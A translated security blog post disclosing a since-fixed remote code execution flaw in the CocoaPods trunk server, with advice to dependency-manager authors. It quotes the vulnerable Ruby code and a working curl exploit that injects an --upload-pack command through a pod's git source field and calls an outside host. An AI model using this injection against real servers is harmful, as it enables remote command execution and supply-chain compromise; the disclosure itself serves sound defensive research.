通过CocoaPods漏洞一次性攻击300万个应用

本文详细披露了CocoaPods中央服务器存在的远程代码执行漏洞,攻击者可通过恶意git参数注入命令,影响所有使用该包管理器的iOS应用。漏洞已修复,文章包含技术细节、利用代码和安全建议。

通过CocoaPods一次性攻击300万个应用

Max Justicz
2021年4月20日

tl;dr
CocoaPods是众多iOS应用(以及其他Swift和Objective-C Cocoa应用)使用的流行包管理器。我在托管Specs仓库密钥的中央CocoaPods服务器(https://trunk.cocoapods.org/)中发现了一个远程代码执行漏洞。该漏洞本可让攻击者污染任何软件包下载。现已修复。

引言

我使用Signal iOS应用与朋友交流。我非常喜欢Signal,回馈我最喜爱项目的方式之一就是尝试在其中寻找漏洞。

浏览应用源代码时,首先引起我注意的是Podfile,它列出了Signal的CocoaPods依赖项。我在包管理器方面有丰富经验,因此我的第一个想法是尝试在中央CocoaPods服务器中寻找漏洞。如果能找到一个影响所有使用CocoaPods的应用的漏洞,为什么只攻击Signal呢?

漏洞详情

当你向CocoaPods上传包规范时,它会尝试确保你没有意外链接到私有仓库。它过去是这样做的:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
def validate_git
  # We've had trouble with Heroku's git install, see trunk.cocoapods.org/pull/141
  url = @specification.source[:git]
  return true unless url.include?('github.com') || url.include?('bitbucket.org')

  ref = @specification.source[:tag] ||
    @specification.source[:commit] ||
    @specification.source[:branch] ||
    'HEAD'
  wrap_timeout { system('git', 'ls-remote', @specification.source[:git], ref.to_s) }
end

这里存在几个问题。最重要的是攻击者完全控制@specification.source[:git]ref.to_s,因此可以利用它们向git传递标志。git ls-remote接受一个可选标志--upload-pack,该标志会在shell中评估其内容。因此,如果@specification.source[:git]等于类似--ls-remote="$(echo THIS WAS PROBABLY UNEXPECTED)" github.com的内容,并且ref.to_s被解释为本地仓库,我们将在CocoaPods服务器上运行攻击者的命令。

以下是我最终使用的利用代码:

1
curl -X POST -H "Content-Type: application/json" -H 'Authorization: Token MY_AUTH_TOKEN' "https://trunk.cocoapods.org/api/v1/pods" --data '{"source":{"git":"--upload-pack=\"$(curl my-server:4775/`whoami`)\" https://github.com/","tag":"1.0.0"}}'

我的思考

总体而言

想想CocoaPods为世界增加了多少价值,仅仅在节省开发者时间方面!然后想想有多少大公司使用这个软件。再想想一次安全审计的成本。

对于使用依赖管理器的人

考虑供应商依赖并仔细审查它们的更新。你的依赖管理器可能有漏洞,如果你在处理安全敏感的内容,你真的应该仔细考虑这个攻击向量。

对于编写依赖管理器的人

如果你希望你的依赖管理器安全,你真的应该将以下内容视为有毒废物:

  • 软件包内容
  • 版本控制软件

依赖管理器服务器通常希望暴露一些关于软件包的元数据(有毒废物),这通常通过调用某些版本控制软件(有毒废物)来实现。最好完全避免这样做,但如果必须,你应该使用沙箱——我真的很喜欢gVisor用于这类事情。

几个月前,我在proxy.golang.org中发现了一个RCE漏洞,该漏洞调用了某些易受攻击的版本控制软件。但由于我无法逃脱的gVisor沙箱,它被完全缓解了。

结论

感谢CocoaPods维护者超级快速地修复了这个漏洞!

无耻的插播

我正尝试向慈善机构捐赠10,000顶蚊帐!如果你喜欢这篇文章,请考虑捐赠一顶2美元的蚊帐。


联系信息
Max Justicz
max@justi.cz
mastodon.mit.edu/@maxj

我会在只发了几篇文章后就放弃这个博客吗?敬请关注,找出答案!

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计